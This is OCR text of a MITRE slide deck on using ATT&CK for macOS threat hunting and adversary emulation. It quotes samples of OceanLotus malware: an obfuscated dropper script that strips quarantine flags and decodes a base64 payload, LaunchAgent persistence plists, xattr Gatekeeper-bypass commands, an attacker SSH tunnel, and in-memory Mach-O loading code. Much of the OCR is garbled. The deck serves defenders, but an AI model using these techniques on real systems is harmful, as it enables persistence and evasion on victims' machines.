CoinTicker

OSX_OCEANLOTUS.D

Proton

ThiefQuest

MITRE ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16

Description
Bundlore can persist via a LaunchAgent.°!
Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.[1%

CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish
persistence.!]

OSX_OCEANLOTUS.D can create a persistence file in the folder /Library/Launchagents .['9/[20]
Proton persists via Launch Agent.[1¢]
ThiefQuest installs a launch item using an embedded encrypted launch agent property list template. The plist

file is installed in the ~/Library/Launchagents/ folder and configured with the path to the persistent binary
located in the ~/Library/ folder.[2"]

@coolestcatiknow
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BUILDING USE CASES

For a user other than root, it takes the MD5 hash of the structure returned by getpwuid() and breaks the hash
down into segments <first 8 chars of hash>-<next 16 chars of hash>-<last 8 chars of hash>. This segmented MD5
hash is prepended with “0000-“ then used as a directory in ~/Library/OpenSSL/ to store the executable file (see
Figure 3). If the user is root, the executable is stored in the system wide library directory at

/Library/TimeMachine/bin/mtmfs.

It is interesting to note that the executable and plist locations look like legitimate applications.

plist Location Executable Location

0 /Library/LaunchDaemons/com.apple.mtmfsd.plist /Library/TimeMachine/bin/mtmfs

o=

>0 ~/Library/LaunchAgents/com.apple.openssl.plist ~/Library/OpenSSL/0000-<segmented MD5 hash>/servicessl|

iceinstallerd.plist

@ unit42

Figure 3. plist and executable names and locations based on UID

<?7xml version="1.8" encoding="UTF-8*?>
<!DOCTYPE plist PUBLIC *~//Apple//DTD PLIST 1.0//EN* *http://wew.apple.com/DTDs/PropertylList-1.0.dtd">

<plist version="1.0">

<dict>

<key>Label</key>
<string>com.apple.marcoagent.voiceinstallerd</string>

l¢string>/Users/test/Library/User Photos/mount_devfs</string>
> -

<true/>
<key>KeepAlive</key>
<true/>

</dict>

</plist>y

" IE E ” 2- Figure 8. Plist file ~/Library/LaunchAgents/com.apple.marcoagent.voiceinstallerd.plist
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ADDITIONAL HUNTING RESOURCES

Hunting with ATT&CK -> MITRE - TTP- zz == ATT&CK.

Based Hunting

Filippo Mottini — osquery-attck

@Cyb3rWard0g's (Roberto

Rodriguez) Threat Hunter Playbook The
Thr‘ea+Hun+inﬁ
- David Bianco's Threat Hunting Project Pr'ojech

@coolestcatiknow
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https://www.mitre.org/sites/default/files/publications/pr-19-3892-ttp-based-hunting.pdf
https://github.com/teoseller/osquery-attck
https://threathunterplaybook.com/introduction.html
http://threathunting.net/

Using ATT&CK for ...

ADVERSARY
EMULATION

MITRE  ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution
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ATT&CK IN EMULATION

- CTID Adversary Emulation

Plans

 Atomic Red Team

 MITRE CALDERA™

MITRE

10.B - Use VNC Persistence (T1021.005)

On your Ubuntu machine:

@ Red | Dashboard

m Firefox Privacy Notice

< c @ © DO 127001

CALORRA Provide the <attacker> password when prompted.

2. Open a VNC client
Campaigns

Atomic Test #1 - L;unch A;‘:jeht

Create a plist and execute it
Supported Platforms: macOS
auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900

A

Inputs:

Name Description Type

plist_filename filename String com.atomicredteam.pli
o " Name of file to store in X X
path_malicious_plist String $PathToAtomicsFolder,

cron folder

Attack Commands: Run with bash ! Elevation Required (e.g. root or admin)

if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;
sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}
sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}

1. Setup an SSH tunnel to forward VNC through the Attack Platform

ssh <attacker>@192.168.0.4 -L 12345:<cfo_ip>:5900

3. Set the target to 127.0.0.1:12345 and connect

=2

CTID

Welcome home. Go into the Agents tab to review your deployed agents.

Cleanup Commands:

sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename}
sudo rm ~/Library/LaunchAgents/#{plist_filename}

©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16
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https://github.com/center-for-threat-informed-defense/adversary_emulation_library
https://github.com/redcanaryco/atomic-red-team
https://github.com/mitre/caldera

BUILDING AN ADVERSARY EMULATION PLAN WITH ATT&CK

Scenario

Sub-Step/Procedure

Obijective

- Step
MITRE

Scenarios —

Q4na e
widage

-

Capabilities
Capabllites

Steal

vata

Steps

Sub-Step/Procedure:
Each Step includes a series
of specific behaviors

—Phases
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UNPACKING A STEP

Initial Access

B <
Stage .
Capabilities < Execution
v 4 Defense Evasion
Initial
Compromise
Maintain
) Access |[¢ Steps ———Phases
Scenarios - +
Sub-Step/Procedure:
. Each Step includes a series
of specific behaviors
Steal Data Destroy Data (¢
L -
@coolestcatiknow
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BUILDING OFF CTi

#!/bin/bash
NiIASKWgwKHzfjHn="$( cd "$( dirname "${BASH_SOURCE[@]}" )" >/dev/null 2>&1 &
RLIQXaUXkiFodbEn="$( basename "${BASH_SOURCE[@]}" )" s
asFaGDyzpKvtLaSb="<giant base64 removed for readability>" & [
TEMPPATH_IOP="Contents/Resources/configureDefault.def" L=
krcxhMaZjArWHDX0="ALL tim nha Chi Ngoc Canada.doc"
crkEVUWKhhdHDpNy="'cXzxXRFWYXstJJZX"

1s ~/Downloads

if [[ $? == 0 1]; then

find ~ —-name "*$RLIQXaUXkiFodbEnx" -exec xattr -d com.apple.quarantine {}
if [[ $NiIASKWgwKHzfjHn == x"AppTranslocation"x ]]; then

md5="$( md5 "$NiIASKWgwKHzfjHn/$RLIQXaUXkiFodbEn" | cut -d '=' -f 2 )"
A="$( dirname "$NiIASKWgwKHzfjHn/$RLIQXaUXkiFodbEn" )"

rh5="$( basename "${A}" )"

find ~ —type f —name "$RLJIQXaUXkiFodbEn" -exec md5 {} + | grep $md5 | grep '|
sh & >/dev/null 2>&1 b
else

AmLGEEGPFKiYFBxM="$( dirname "$NiIASKWgwKHzfjHn/$RLIQXaUXkiFodbEn" )"
FuTJofXeGGrB1lROx="$( dirname "$AmLGEEGPFKiYFBxM" )"

cp "$AMLGEEGPFKiYFBxM/$TEMPPATH_IOP" "/tmp/$krcxhMaZjArwWHDX0" && of - ~————swmem , — e
echo $asFaGDyzpKvtLaSb | base64 -D > ”$AmLGEEGPFKiYFBxM/$TEMPPATH_]ﬁ\ | CO! , ‘;S)FBXM/
$TEMPPATH_IOP" & >/dev/null 2>&1 - — f g

sleep 3 ; rm -rf "$AmLGEEGPFKiYFBXM" ; mv "/tmp/$krcxhMaZjArwWHDX0" "$F /;’
$krcxhMazZjArWHDX0" &

killall -9 find

A}

@ coolestcatiknow
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TACTICS, TECHNIQUES & REPORTING

Initial Access

Defense Evasion

Defense Evasion

Defense Evasion

Defense Evasion

Defense Evasion

MITRE

Commonly Called

Click and Bait

Ideograph/Homoglyphs

Shell Script

Gatekeeper Bypass

Ba:
(specified type of
encoding)

chmod +x

clean up

Technique

Attachment

Masquerading:
Match Legitimate Name
or Location

Command and Scripting
Interpreter:
Unix Shell

Subvert Trust Controls:
Gatekeeper Bypass

Data Encoding: Standard
Encoding

File and Directory
Permissions: Linux and
Mac File Directory
Permissions

Indicator Removal on
Host: File Deletion

Reporting

2021 - A great summary - Click and Bait:
Vietnamese Human Rights Defenders
Targeted with Spyware Attacks

2014 - Vietnamese Malware Gets Very
Personal

2016- OceanLotus OS X Malware Disguises
Itself as Adobe Flash Update

2018 - New OceanLotus Backdoor Discovered
Targeting macOS

2020 - Use of ideograph trick

2020 - Shell Script use

2020 - APT32 Multi-stage macOS Trojan
Innovates on Crimeware Scripting Technique

2018 - Obfuscated Macros
2020 - Obfuscated Payload

2020 - APT32 Multi-stage macOS Trojan
Innovates on Crimeware Scripting Technique
2020 - Backdoor.MacOS.OCEANLOTUS.F

2018 - New MacOS Backdoor Linked to
OceanLotus Found

2020 - New MacOS Backdoor Connected to
OceanLotus Surfaces
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COMPLETING THE PICTURE

admin@not-so-cyber-two.net ¥¥ 9 Reply =~ Forward E)Archive 0 Junk
Mrs. Ngoc's contact info
Me ¥

"Hello Hac Team
Check the news, here is contact information about Mrs. Ngoc's

http://18.190.169.168:80/A11%20Tim%20Nha%s20Chi%20Ngoc%20Canada.doc. .

#!/bin/bash

lakjfdosij="$( cd "$( dirname "$BASH_SOURCE[O]}" )" >/dev/null 2>&1 && pwd)"
1skdjfoish="$( basename "${BASH_SOURCE[O]}" )"

TEMPPATH_IOP="Contents/Resources/configureDefault.def
krcxhMaZjArWHDX0="ALL tim nha Chi Ngoc Canada.doc"
lskdjfoisk="hgl"

xattr -rc com.apple.quarantine ../../*

klshfosdihfiolsj="cat ../Resources/encoded base64 -D > "../../../$1skdjfoisk"
. ./Resources/configureDefault.def "/tmp/$krcxhMaZjArWHDX0"

"/tmp/$krcxhMaZjArWHDX0"
2ol [ IStiskdjtolsk

#"/tmp/$1skdjfoisk" &

oo/ a/ngl &

cp "/tmp/$krcxhMaZjArWHDX0" ../../../.

rm -rf "../../../A11 Tim Nha Chi Ngoc Canada.doc.app"

"E All Tim Nha Chi Ngoc Canada.doc.app

Hunt for Red Apples: OceanlLotus Edition
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RABBIT HOLE OF PROCEDURES

MITRE

xattr (/usr/bin/xattr)

Display and manipulate extended attributes. Used by malware and threat
actors as a means to bypass Gatekeeper and Notarization checks on
macOS. Incredibly, any process or user can remove the file attribute that is

required for these checks to proceed without admin rights.

Common Arguments ‘lll.

xattr -d com.apple.quarantine SentinelOne
xattr -c

xattr -cr

ITW Examples

find /Users/user -name *ALL tim nha Chi Ngoc Canada* -exec

xattr -d com.apple.quarantine {} +

©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16
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RABBIT HOLE OPPORTUNITY

IN-MEMORY MACH-0O LOADING
dyld supports in-memory loading/linking

//vars

NSObjectFileImage fileImage = NULL;
NSModule module NULL;
NSSymbol symbol NULL;
void (*function)(const char *message);

//have an in-memory (file) image of a mach-O0 file to load/link
// ->note: memory must be page-aligned and alloc'd via vm_alloc!

NSCreétéObjeéfFi1eImageFEomMemory(c-\eAddr, codeSize, &fileImage);

//1ink module
module = NSLinkModule(fileImage, "<anything>", NSLINKMODULE_OPTION_PRIVATE);

//lookup exported symbol (function)
symbol = NSLookupSymbolInModule(module, "_" "HelloBlackHat");

//get exported function's address
function = NSAddressOfSymbol(symbol);

e : //invoke exported function . .
q NSCreateObjectFileImageFromMemory(!}deAddr, WL C (G L A [ B L) i DR ) 0 )

module = NSLinkModule(fileImage, "module", |Oading a mach-0 file from memory

symbol = NSLookupSymbolInModule(module, "_execute'");
function = NSAddressOfSymbol(symbol) ;

@coolestcatiknow
@ _whatshisface
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CONNECTING TEAMS

» Interview your detection/ops team, CTIl team, and red team
= CTI: What threats do we face and which techniques should we prioritize?

» Threat Hunting/Detection: What techniques can we cover, and which can’t we?
= Adversary Emulation: What have we validated?
= Examine your tools, documentation, and analytics
= Tools: Which data sources can we collect?
* Documentation: Do policies and procedures help us with techniques?
» Analytics: What techniques can it detect? How much procedure coverage?

* Look at how your overall technique coverage fares
= Are there gaps in either visibility or validation?

MITRE @coolestcatiknow
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PRIORITY TECHNIQUES FROM THREAT INTEL

Initial Access
7 techniques
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Application

Hardware Additions
Phishing 2/3)

Supply Chain

Compromise .,

Trusted Relationship

n Valid Accounts (113)

MITRE

Privilege
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Execution
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Ul Control
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(0/3)
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Browser Extensions
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Client Execution
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/2)

Scheduled
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Launch Daemon

Services ;)
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Execution
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Execution 2/2) 2
1" Hijack Execution

Flow
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Traffic
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Ul Valid Accounts 113)

Create or Modify
System
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Execution

Exploitation for
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" Hijack Execution
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Injection

File and Directory
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Modification

Network Service Scanning

Hijacking (0/0)
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)/2) System

Repositories |
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Launch Agent Software Data from Network
Hijack Execution Modify Password Policy Discovery [BIlVnl-hi@Ielel) Shared Drive
Launch Daemon Flow Authentication
Process (1) Peripheral Device Data from Removable

Impair Defenses Discovery Media

(1/4)

Network Sniffing

OS Credential
Dumping

Steal Web Session
Cookie
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Indicator Removal on

Permission Groups
"
Host
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Data Staged

(0/2)

Input Capture (1/3)

Masquerading Process Discovery
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Modify Authentication Middle ()

Process

Remote System Discovery

Two-Factor
Authentication
Interception

) Software Discovery ., Screen Capture

Obfuscated Files or
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System Information Video Capture

1" Scheduled Discovery
Modify Task/Job ., Process Injection Unsecured
1l Authentication — Credentials .  System Location Discovery
Process I Xalid Rootkit S N N
. ccounts ystem Networ|
Scheduled s) m Subvert Trust Il Configuration
Task/Job ., Controls Discovery
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| Server Software Code Signing System Network
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Code Signing Policy

Modification System Owner/User

Gatekeeper Bypass
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Install Root Certificate Evasion
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VISIBILITY TO HUNTING/DETECTION

. . . Privilege . Credential . Lateral . Command and . .
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Control Exfiltration Impact

7 techniques 7 techniques 14 techniques 10 techniques 18 techniques 12 techniques 19 techniques 6 techniques 13 techniques 16 techniques 8 techniques 13 techniques
Drive-by Command and Account Abuse Elevation Abuse Elevation Control Brute Force (0/) Il Account Discovery Exploitation of Archive Collected Application Layer Automated Account Access
Compromise Scripting Manipulation (©) 1} Control Mechanism (0/3) Remote Services Data (0/3) Protocol (0/a Exfiltration Removal

. . L. . /4) (0/0)
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OVERLAP BETWEEN VISIBILITY AND INTEL

. . . Privilege . Credential . Lateral . Command and . .
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Control Exfiltration Impact
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VALIDATED BY ADVERARY EMULATION

. . . Privilege . Credential . Lateral . Command and . .
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Control Exfiltration Impact
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DECIDE WHERE TO IMPROVE

Credential
Access
12 techniques

Privilege
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10 techniques

Defense Evasion
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Persistence
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Initial Access Executlon
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Drive-by {
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Directory Discovery and Browser Extensions
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Discovery

Video Capture

System Location Discovery

improvement can give a big return on investment.
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BE INTENTIONAL ABOUT IMPROVEMENTS

* Think about the best way to mitigate each gap
= Maybe it’'s a new detection or data source

» Maybe it’s a mitigation, new group policy, or new user training
= Maybe the gap shouldn’t be closed, and risk should be accepted

= Validate any changes using adversary emulation

@coolestcatiknow
@ _whatshisface
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BE INTENTIONAL ABOUT IMPROVEMENTS
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TAKEAWAYS

A common language for conversations

between teams
A stewarded community driven resource
A relevant resource for macOS

A place to start
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HELPFUL RESOURCES

Medium Blogs (mitre-attack)

» David Bianco’s ThreatHunting.net

« @Cyb3rWard0Og’s Open Threat
Research Forge (OTRF)

« Katie Nickels Getting Started with
ATT&CK & Cyber Threat Intelligence
Self Study Plan
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https://medium.com/mitre-attack
https://medium.com/mitre-attack/getting-started-with-attack-cti-4eb205be4b2f
https://medium.com/katies-five-cents/a-cyber-threat-intelligence-self-study-plan-part-1-968b5a8daf9a

Adam Penh'in’g'tb"h
@ whatshisface

attack@mitre.org
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